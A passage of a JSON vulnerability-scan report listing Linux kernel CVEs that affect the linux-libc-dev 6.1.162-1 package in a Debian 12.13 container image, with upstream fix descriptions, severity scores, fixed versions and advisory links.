"https://git.kernel.org/stable/c/991f8a79db99b14c48d20d2052c82d65b9186cad", "https://git.kernel.org/stable/c/a4fd1fdf505facfae26b5654c9eff321f4cbc1a7", "https://git.kernel.org/stable/c/ccc78781041589ea383e61d5d7a1e9a31b210b93", "https://git.kernel.org/stable/c/ee63729760f5b61a66f345c54dc4c7514e62383d", "https://lore.kernel.org/linux-cve-announce/2026011311-CVE-2025-68809-e875@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-68809", "https://ubuntu.com/security/notices/USN-8177-1", "https://ubuntu.com/security/notices/USN-8177-2", "https://ubuntu.com/security/notices/USN-8179-1", "https://ubuntu.com/security/notices/USN-8179-2", "https://ubuntu.com/security/notices/USN-8179-3", "https://ubuntu.com/security/notices/USN-8179-4", "https://ubuntu.com/security/notices/USN-8183-1", "https://ubuntu.com/security/notices/USN-8183-2", "https://ubuntu.com/security/notices/USN-8184-1", "https://ubuntu.com/security/notices/USN-8185-1", "https://ubuntu.com/security/notices/USN-8185-2", "https://ubuntu.com/security/notices/USN-8203-1", "https://ubuntu.com/security/notices/USN-8204-1", "https://ubuntu.com/security/notices/USN-8245-1", "https://ubuntu.com/security/notices/USN-8257-1", "https://ubuntu.com/security/notices/USN-8258-1", "https://ubuntu.com/security/notices/USN-8260-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://ubuntu.com/security/notices/USN-8265-1", "https://ubuntu.com/security/notices/USN-8440-1", "https://www.cve.org/CVERecord?id=CVE-2025-68809" ], "PublishedDate": "2026-01-13T16:16:03.08Z", "LastModifiedDate": "2026-10-30T13:18:24.44Z" }, { "VulnerabilityID": "CVE-2025-71068", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-71068", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:eece6f88c3ed204ab7662a8b6b477e5ab17a824e2ae175dd418adcaecf8ed703", "Title": "kernel: svcrdma: bound check rq_pages index in inline path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsvcrdma: bound check rq_pages index in inline path\n\nsvc_rdma_copy_inline_range indexed rqstp-\u003erq_pages[rc_curpage] without\nverifying rc_curpage stays within the allocated page array. Add guards\nbefore the first use and after advancing to a new page.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 4 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H", "V3Score": 6.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-71068", "https://git.kernel.org/linus/d1bea0ce35b6095544ee82bb54156fc62c067e58%20%286.19-rc3%29", "https://git.kernel.org/stable/c/5f140b525180c628db8fa6c897f138194a2de417", "https://git.kernel.org/stable/c/7ba826aae1d43212f3baa53a2175ad949e21926e", "https://git.kernel.org/stable/c/a1ed26debcc74050d3000dff7c4ea5e77f830695", "https://git.kernel.org/stable/c/a22316f5e9a29e4b92030bd8fb9435fe0eb1d5c9", "https://git.kernel.org/stable/c/d1bea0ce35b6095544ee82bb54156fc62c067e58", "https://git.kernel.org/stable/c/da1ccfc4c452541584a4eae89e337cfa21be6d5a", "https://linux.oracle.com/cve/CVE-2025-71068.html", "https://linux.oracle.com/errata/ELSA-2026-50145.html", "https://lore.kernel.org/linux-cve-announce/2026011323-CVE-2025-71068-f1a9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-71068", "https://ubuntu.com/security/notices/USN-8096-1", "https://ubuntu.com/security/notices/USN-8096-2", "https://ubuntu.com/security/notices/USN-8096-3", "https://ubuntu.com/security/notices/USN-8096-4", "https://ubuntu.com/security/notices/USN-8096-5", "https://ubuntu.com/security/notices/USN-8116-1", "https://ubuntu.com/security/notices/USN-8141-1", "https://ubuntu.com/security/notices/USN-8163-1", "https://ubuntu.com/security/notices/USN-8163-2", "https://ubuntu.com/security/notices/USN-8177-1", "https://ubuntu.com/security/notices/USN-8177-2", "https://ubuntu.com/security/notices/USN-8179-1", "https://ubuntu.com/security/notices/USN-8179-2", "https://ubuntu.com/security/notices/USN-8179-3", "https://ubuntu.com/security/notices/USN-8179-4", "https://ubuntu.com/security/notices/USN-8183-1", "https://ubuntu.com/security/notices/USN-8183-2", "https://ubuntu.com/security/notices/USN-8184-1", "https://ubuntu.com/security/notices/USN-8185-1", "https://ubuntu.com/security/notices/USN-8185-2", "https://ubuntu.com/security/notices/USN-8203-1", "https://ubuntu.com/security/notices/USN-8204-1", "https://ubuntu.com/security/notices/USN-8243-1", "https://ubuntu.com/security/notices/USN-8245-1", "https://ubuntu.com/security/notices/USN-8257-1", "https://ubuntu.com/security/notices/USN-8258-1", "https://ubuntu.com/security/notices/USN-8260-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://ubuntu.com/security/notices/USN-8265-1", "https://ubuntu.com/security/notices/USN-8440-1", "https://www.cve.org/CVERecord?id=CVE-2025-71068" ], "PublishedDate": "2026-01-13T16:16:06.187Z", "LastModifiedDate": "2026-10-30T13:18:25.143Z" }, { "VulnerabilityID": "CVE-2025-71073", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-71073", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0821dd9db1349de44d585ff68c7d13892a13a571c04de3000319b8d44734679e", "Title": "kernel: Input: lkkbd - disable pending work before freeing device", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nInput: lkkbd - disable pending work before freeing device\n\nlkkbd_interrupt() schedules lk-\u003etq via schedule_work(), and the work\nhandler lkkbd_reinit() dereferences the lkkbd structure and its\nserio/input_dev fields.\n\nlkkbd_disconnect() and error paths in lkkbd_connect() free the lkkbd\nstructure without preventing the reinit work from being queued again\nuntil serio_close() returns. This can allow the work handler to run\nafter the structure has been freed, leading to a potential use-after-free.\n\nUse disable_work_sync() instead of cancel_work_sync() to ensure the\nreinit work cannot be re-queued, and call it both in lkkbd_disconnect()\nand in lkkbd_connect() error paths after serio_open().", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-71073", "https://git.kernel.org/linus/e58c88f0cb2d8ed89de78f6f17409d29cfab6c5c%20%286.19-rc2%29", "https://git.kernel.org/stable/c/3a7cd1397c209076c371d53bf39a55c138f62342", "https://git.kernel.org/stable/c/8cf889d45bbc8477206dda78c8f757ea8ff68213", "https://git.kernel.org/stable/c/cffc4e29b1e2d44ab094cf142d7c461ff09b9104", "https://git.kernel.org/stable/c/e58c88f0cb2d8ed89de78f6f17409d29cfab6c5c", "https://git.kernel.org/stable/c/fb76f871d6155c52ccc0401bbde77dd20b83d0c1", "https://lore.kernel.org/linux-cve-announce/2026011325-CVE-2025-71073-b002@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-71073", "https://ubuntu.com/security/notices/USN-8177-1", "https://ubuntu.com/security/notices/USN-8177-2", "https://ubuntu.com/security/notices/USN-8183-1", "https://ubuntu.com/security/notices/USN-8183-2", "https://ubuntu.com/security/notices/USN-8245-1", "https://ubuntu.com/security/notices/USN-8257-1", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-71073" ], "PublishedDate": "2026-01-13T16:16:06.743Z", "LastModifiedDate": "2026-10-30T13:18:25.35Z" }, { "VulnerabilityID": "CVE-2025-71089", "VendorIDs": [ "DSA-6163-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-71089", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4796a954baf62b69b260346cc28aae7d494c102ef8c20f2bb8c62d4e163ca335", "Title": "kernel: iommu: disable SVA when CONFIG_X86 is set", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\niommu: disable SVA when CONFIG_X86 is set\n\nPatch series \"Fix stale IOTLB entries for kernel address space\", v7.\n\nThis proposes a fix for a security vulnerability related to IOMMU Shared\nVirtual Addressing (SVA). In an SVA context, an IOMMU can cache kernel\npage table entries. When a kernel page table page is freed and\nreallocated for another purpose, the IOMMU might still hold stale,\nincorrect entries. This can be exploited to cause a use-after-free or\nwrite-after-free condition, potentially leading to privilege escalation or\ndata corruption.\n\nThis solution introduces a deferred freeing mechanism for kernel page\ntable pages, which provides a safe window to notify the IOMMU to\ninvalidate its caches before the page is reused.\n\n\nThis patch (of 8):\n\nIn the IOMMU Shared Virtual Addressing (SVA) context, the IOMMU hardware\nshares and walks the CPU's page tables. The x86 architecture maps the\nkernel's virtual address space into the upper portion of every process's\npage table. Consequently, in an SVA context, the IOMMU hardware can walk\nand cache kernel page table entries.\n\nThe Linux kernel currently lacks a notification mechanism for kernel page\ntable changes, specifically when page table pages are freed and reused. \nThe IOMMU driver is only notified of changes to user virtual address\nmappings. This can cause the IOMMU's internal caches to retain stale\nentries for kernel VA.\n\nUse-After-Free (UAF) and Write-After-Free (WAF) conditions arise when\nkernel page table pages are freed and later reallocated. The IOMMU could\nmisinterpret the new data as valid page table entries. The IOMMU might\nthen walk into attacker-controlled memory, leading to arbitrary physical\nmemory DMA access or privilege escalation. This is also a\nWrite-After-Free issue, as the IOMMU will potentially continue to write\nAccessed and Dirty bits to the freed memory while attempting to walk the\nstale page tables.\n\nCurrently, SVA contexts are unprivileged and cannot access kernel\nmappings. However, the IOMMU will still walk kernel-only page tables all\nthe way down to the leaf entries, where it realizes the mapping is for the\nkernel and errors out. This means the IOMMU still caches these\nintermediate page table entries, making the described vulnerability a real\nconcern.\n\nDisable SVA on x86 architecture until the IOMMU can receive notification\nto flush the paging cache before freeing the CPU kernel page table pages.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H", "V3Score": 6.6 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:21556", "https://access.redhat.com/security/cve/CVE-2025-71089", "https://bugzilla.redhat.com/2390372", "https://bugzilla.redhat.com/2422699", "https://bugzilla.redhat.com/2424881", "https://bugzilla.redhat.com/2424886", "https://bugzilla.redhat.com/2429104", "https://bugzilla.redhat.com/2451218", "https://bugzilla.redhat.com/2454810", "https://bugzilla.redhat.com/2455334", "https://bugzilla.redhat.com/2461757", "https://bugzilla.redhat.com/2461759", "https://bugzilla.redhat.com/2464369", "https://bugzilla.redhat.com/2464455", "https://bugzilla.redhat.com/2464462", "https://bugzilla.redhat.com/2464476", "https://bugzilla.redhat.com/2464496", "https://bugzilla.redhat.com/2467014", "https://bugzilla.redhat.com/2467064", "https://bugzilla.redhat.com/2467210", "https://bugzilla.redhat.com/2468091", "https://bugzilla.redhat.com/show_bug.cgi?id=2390372", "https://bugzilla.redhat.com/show_bug.cgi?id=2422699", "https://bugzilla.redhat.com/show_bug.cgi?id=2424881", "https://bugzilla.redhat.com/show_bug.cgi?id=2424886", "https://bugzilla.redhat.com/show_bug.cgi?id=2429104", "https://bugzilla.redhat.com/show_bug.cgi?id=2451218", "https://bugzilla.redhat.com/show_bug.cgi?id=2454810", "https://bugzilla.redhat.com/show_bug.cgi?id=2455334", "https://bugzilla.redhat.com/show_bug.cgi?id=2461757", "https://bugzilla.redhat.com/show_bug.cgi?id=2461759", "https://bugzilla.redhat.com/show_bug.cgi?id=2464369", "https://bugzilla.redhat.com/show_bug.cgi?id=2464455", "https://bugzilla.redhat.com/show_bug.cgi?id=2464462", "https://bugzilla.redhat.com/show_bug.cgi?id=2464476", "https://bugzilla.redhat.com/show_bug.cgi?id=2464496", "https://bugzilla.redhat.com/show_bug.cgi?id=2467014", "https://bugzilla.redhat.com/show_bug.cgi?id=2467064", "https://bugzilla.redhat.com/show_bug.cgi?id=2467210", "https://bugzilla.redhat.com/show_bug.cgi?id=2468091", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38653", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68183", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68724", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71089", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23455", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31684", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31685", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31709", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43020", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43023", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43027", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43051", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43110", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43190", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43303", "https://errata.almalinux.org/9/ALSA-2026-21556.html", "https://errata.rockylinux.org/RLSA-2026:21556", "https://git.kernel.org/linus/72f98ef9a4be30d2a60136dd6faee376f780d06c%20%286.19-rc1%29", "https://git.kernel.org/stable/c/240cd7f2812cc25496b12063d11c823618f364e9", "https://git.kernel.org/stable/c/72f98ef9a4be30d2a60136dd6faee376f780d06c", "https://git.kernel.org/stable/c/7cad37e358970af1bb49030ff01f06a69fa7d985", "https://git.kernel.org/stable/c/845875f4c6788c88e2334fe5825934821decbdc8", "https://git.kernel.org/stable/c/b34289505180a83607fcfdce14b5a290d0528476", "https://git.kernel.org/stable/c/c2c3f1a3fd74ef16cf115f0c558616a13a8471b4", "https://git.kernel.org/stable/c/c341dee80b5df49a936182341b36395c831c2661", "https://linux.oracle.com/cve/CVE-2025-71089.html", "https://linux.oracle.com/errata/ELSA-2026-50112.html", "https://lore.kernel.org/linux-cve-announce/2026011341-CVE-2025-71089-a642@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-71089", "https://ubuntu.com/security/notices/USN-8177-1", "https://ubuntu.com/security/notices/USN-8177-2", "https://ubuntu.com/security/notices/USN-8179-1", "https://ubuntu.com/security/notices/USN-8179-2", "https://ubuntu.com/security/notices/USN-8179-3", "https://ubuntu.com/security/notices/USN-8179-4", "https://ubuntu.com/security/notices/USN-8183-1", "https://ubuntu.com/security/notices/USN-8183-2", "https://ubuntu.com/security/notices/USN-8184-1", "https://ubuntu.com/security/notices/USN-8185-1", "https://ubuntu.com/security/notices/USN-8185-2", "https://ubuntu.com/security/notices/USN-8203-1", "https://ubuntu.com/security/notices/USN-8204-1", "https://ubuntu.com/security/notices/USN-8245-1", "https://ubuntu.com/security/notices/USN-8257-1", "https://ubuntu.com/security/notices/USN-8258-1", "https://ubuntu.com/security/notices/USN-8260-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://ubuntu.com/security/notices/USN-8265-1", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://www.cve.org/CVERecord?id=CVE-2025-71089" ], "PublishedDate": "2026-01-13T16:16:08.583Z", "LastModifiedDate": "2026-10-30T13:18:25.683Z" }, { "VulnerabilityID": "CVE-2025-71152", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-71152", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2face375a690f1ee4361b16dcb086cdf4a78323c18f23f7ba3f9dbd30146acde", "Title": "kernel: net: dsa: properly keep track of conduit reference", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: dsa: properly keep track of conduit reference\n\nProblem description\n-------------------\n\nDSA has a mumbo-jumbo of reference handling of the conduit net device\nand its kobject which, sadly, is just wrong and doesn't make sense.\n\nThere are two distinct problems.\n\n1. The OF path, which uses of_find_net_device_by_node(), never releases\n the elevated refcount on the conduit's kobject. Nominally, the OF and\n non-OF paths should result in objects having identical reference\n counts taken, and it is already suspicious that\n dsa_dev_to_net_device() has a put_device() call which is missing in\n dsa_port_parse_of(), but we can actually even verify that an issue\n exists. With CONFIG_DEBUG_KOBJECT_RELEASE=y, if we run this command\n \"before\" and \"after\" applying this patch:\n\n(unbind the conduit driver for net device eno2)\necho 0000:00:00.2 \u003e /sys/bus/pci/drivers/fsl_enetc/unbind\n\nwe see these lines in the output diff which appear only with the patch\napplied:\n\nkobject: 'eno2' (ffff002009a3a6b8): kobject_release, parent 0000000000000000 (delayed 1000)\nkobject: '109' (ffff0020099d59a0): kobject_release, parent 0000000000000000 (delayed 1000)\n\n2. After we find the conduit interface one way (OF) or another (non-OF),\n it can get unregistered at any time, and DSA remains with a long-lived,\n but in this case stale, cpu_dp-\u003econduit pointer. Holding the net\n device's underlying kobject isn't actually of much help, it just\n prevents it from being freed (but we never need that kobject\n directly). What helps us to prevent the net device from being\n unregistered is the parallel netdev reference mechanism (dev_hold()\n and dev_put()).\n\nActually we actually use that netdev tracker mechanism implicitly on\nuser ports since commit 2f1e8ea726e9 (\"net: dsa: link interfaces with\nthe DSA master to get rid of lockdep warnings\"), via netdev_upper_dev_link().\nBut time still passes at DSA switch probe time between the initial\nof_find_net_device_by_node() code and the user port creation time, time\nduring which the conduit could unregister itself and DSA wouldn't know\nabout it.\n\nSo we have to run of_find_net_device_by_node() under rtnl_lock() to\nprevent that from happening, and release the lock only with the netdev\ntracker having acquired the reference.\n\nDo we need to keep the reference until dsa_unregister_switch() /\ndsa_switch_shutdown()?\n1: Maybe yes. A switch device will still be registered even if all user\n ports failed to probe, see commit 86f8b1c01a0a (\"net: dsa: Do not\n make user port errors fatal\"), and the cpu_dp-\u003econduit pointers\n remain valid. I haven't audited all call paths to see whether they\n will actually use the conduit in lack of any user port, but if they\n do, it seems safer to not rely on user ports for that reference.\n2. Definitely yes. We support changing the conduit which a user port is\n associated to, and we can get into a situation where we've moved all\n user ports away from a conduit, thus no longer hold any reference to\n it via the net device tracker. But we shouldn't let it go nonetheless\n - see the next change in relation to dsa_tree_find_first_conduit()\n and LAG conduits which disappear.\n We have to be prepared to return to the physical conduit, so the CPU\n port must explicitly keep another reference to it. This is also to\n say: the user ports and their CPU ports may not always keep a\n reference to the same conduit net device, and both are needed.\n\nAs for the conduit's kobject for the /sys/class/net/ entry, we don't\ncare about it, we can release it as soon as we hold the net device\nobject itself.\n\nHistory and blame attribution\n-----------------------------\n\nThe code has been refactored so many times, it is very difficult to\nfollow and properly attribute a blame, but I'll try to make a short\nhistory which I hope to be correct.\n\nWe have two distinct probing paths:\n- one for OF, introduced in 2016 i\n---truncated---", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-71152", "https://git.kernel.org/linus/06e219f6a706c367c93051f408ac61417643d2f9%20%286.19-rc4%29", "https://git.kernel.org/stable/c/06e219f6a706c367c93051f408ac61417643d2f9", "https://git.kernel.org/stable/c/0e766b77ba5093583dfe609fae0aa1545c46dbbd", "https://git.kernel.org/stable/c/b358fc6ff3b35a29f7f677da1c67af67d0d560cb", "https://git.kernel.org/stable/c/bc3305eeeee5d8e43005ad46e252991e46d10f33", "https://git.kernel.org/stable/c/ec2b34acb1894cfc10ed22d8277ca4f11e9f4b23", "https://linux.oracle.com/cve/CVE-2025-71152.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026012302-CVE-2025-71152-055a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-71152", "https://ubuntu.com/security/notices/USN-8277-1", "https://ubuntu.com/security/notices/USN-8277-2", "https://ubuntu.com/security/notices/USN-8310-1", "https://ubuntu.com/security/notices/USN-8374-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2025-71152" ], "PublishedDate": "2026-01-23T15:16:06.05Z", "LastModifiedDate": "2026-10-30T13:18:26.257Z" }, { "VulnerabilityID": "CVE-2025-71220", "VendorIDs": [ "DSA-6163-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.164-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-71220", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8b9b8b9c7a3a6e04cb7c052af8667a556b9f9c344e8e85f03e17d1ec2b0bd26d", "Title": "kernel: smb/server: call ksmbd_session_rpc_close() on error path in create_smb2_pipe()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb/server: call ksmbd_session_rpc_close() on error path in create_smb2_pipe()\n\nWhen ksmbd_iov_pin_rsp() fails, we should call ksmbd_session_rpc_close().", "Severity": "HIGH", "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "V3Score": 3.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-71220", "https://git.kernel.org/linus/7c28f8eef5ac5312794d8a52918076dcd787e53b%20%286.19-rc4%29", "https://git.kernel.org/stable/c/04dd114b682a4ccaeba2c2bad049c8b50ce740d8", "https://git.kernel.org/stable/c/2b7b4df87fe6f2db6ee45f475de6b37b8b8e5d29", "https://git.kernel.org/stable/c/7c28f8eef5ac5312794d8a52918076dcd787e53b", "https://git.kernel.org/stable/c/a2c68e256fb7a4ac34154c6e865a1389acca839f", "https://git.kernel.org/stable/c/ac18761b530b5dd40f59af8a25902282e5512854", "https://git.kernel.org/stable/c/fdda836fcee6fdbcccc24e3679097efb583f581f", "https://linux.oracle.com/cve/CVE-2025-71220.html", "https://linux.oracle.com/errata/ELSA-2026-50160.html", "https://lore.kernel.org/linux-cve-announce/2026021425-CVE-2025-71220-162f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-71220", "https://ubuntu.com/security/notices/USN-8278-1", "https://ubuntu.com/security/notices/USN-8278-2", "https://ubuntu.com/security/notices/USN-8289-1", "https://ubuntu.com/security/notices/USN-8289-2", "https://ubuntu.com/security/notices/USN-8296-1", "https://ubuntu.com/security/notices/USN-8296-2", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://www.cve.org/CVERecord?id=CVE-2025-71220" ], "PublishedDate": "2026-02-14T17:15:54.343Z", "LastModifiedDate": "2026-11-05T22:17:38.913Z" }, { "VulnerabilityID": "CVE-2025-71221", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-71221", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:727a1d2462cfbe836c6740f848e5b42c2e7876da7d0e632ccf5fa3cc113827cb", "Title": "kernel: Linux kernel: mmp_pdma vulnerability allows privilege escalation or denial of service", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndmaengine: mmp_pdma: Fix race condition in mmp_pdma_residue()\n\nAdd proper locking in mmp_pdma_residue() to prevent use-after-free when\naccessing descriptor list and descriptor contents.\n\nThe race occurs when multiple threads call tx_status() while the tasklet\non another CPU is freeing completed descriptors:\n\nCPU 0 CPU 1\n----- -----\nmmp_pdma_tx_status()\nmmp_pdma_residue()\n -\u003e NO LOCK held\n list_for_each_entry(sw, ..)\n DMA interrupt\n dma_do_tasklet()\n -\u003e spin_lock(\u0026desc_lock)\n list_move(sw-\u003enode, ...)\n spin_unlock(\u0026desc_lock)\n | dma_pool_free(sw) \u003c- FREED!\n -\u003e access sw-\u003edesc \u003c- UAF!\n\nThis issue can be reproduced when running dmatest on the same channel with\nmultiple threads (threads_per_chan \u003e 1).\n\nFix by protecting the chain_running list iteration and descriptor access\nwith the chan-\u003edesc_lock spinlock.", "Severity": 